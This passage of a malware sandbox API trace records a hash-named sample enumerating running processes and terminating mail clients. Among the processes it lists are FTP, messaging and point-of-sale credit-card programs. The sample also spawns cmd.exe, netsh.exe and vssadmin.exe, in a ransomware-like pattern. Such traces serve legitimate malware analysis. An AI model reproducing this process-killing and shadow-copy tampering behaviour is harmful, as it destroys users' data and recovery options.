dwFlags=0x0, szExeFile="societybitofficial.exe")) returned 1 [0049.864] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="position_star.exe")) returned 1 [0049.865] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="itself-material.exe")) returned 1 [0049.865] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="homenothingbook.exe")) returned 1 [0049.866] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mean.exe")) returned 1 [0049.867] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="problem-public-use.exe")) returned 1 [0049.867] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0049.868] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0049.869] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0049.869] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0049.870] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0049.870] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0049.871] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0049.872] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0049.872] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0049.873] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0049.874] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0049.874] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0049.875] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0049.876] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0049.877] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0049.878] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0049.879] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0049.880] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0049.881] TerminateProcess (hProcess=0x134, uExitCode=0x0) returned 1 [0049.952] CloseHandle (hObject=0x134) returned 1 [0049.953] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0049.954] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0049.955] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0049.956] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0049.957] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0049.958] TerminateProcess (hProcess=0x134, uExitCode=0x0) returned 1 [0049.958] CloseHandle (hObject=0x134) returned 1 [0049.958] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0049.959] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0049.960] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0049.961] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0049.962] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0049.963] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0049.964] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0049.965] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0049.966] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0049.967] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0049.968] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0049.969] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0049.969] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0049.970] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0049.971] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0049.972] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0049.973] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0049.974] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="livepresidentlight.exe")) returned 1 [0049.975] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="remove patient teacher.exe")) returned 1 [0049.975] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="certainlyknow.exe")) returned 1 [0049.976] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0049.977] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0049.978] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0049.979] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0049.980] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0049.981] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0049.982] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0049.982] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0049.983] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0049.984] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0049.985] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0049.986] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf24, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0049.986] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xf2c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0049.987] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0049.988] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.989] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0049.989] CloseHandle (hObject=0x120) returned 1 [0049.990] Sleep (dwMilliseconds=0x1f4) [0051.529] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x178 [0051.533] Process32FirstW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0051.534] GetLastError () returned 0x12 [0051.534] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0051.535] GetLastError () returned 0x12 [0051.535] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0051.535] GetLastError () returned 0x12 [0051.535] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.536] GetLastError () returned 0x12 [0051.536] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0051.537] GetLastError () returned 0x12 [0051.537] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.538] GetLastError () returned 0x12 [0051.538] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0051.538] GetLastError () returned 0x12 [0051.538] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0051.539] GetLastError () returned 0x12 [0051.539] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0051.540] GetLastError () returned 0x12 [0051.540] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0051.541] GetLastError () returned 0x12 [0051.541] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.541] GetLastError () returned 0x12 [0051.541] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.542] GetLastError () returned 0x12 [0051.542] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.543] GetLastError () returned 0x12 [0051.543] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.544] GetLastError () returned 0x12 [0051.544] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.544] GetLastError () returned 0x12 [0051.544] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.545] GetLastError () returned 0x12 [0051.545] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0051.546] GetLastError () returned 0x12 [0051.546] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, 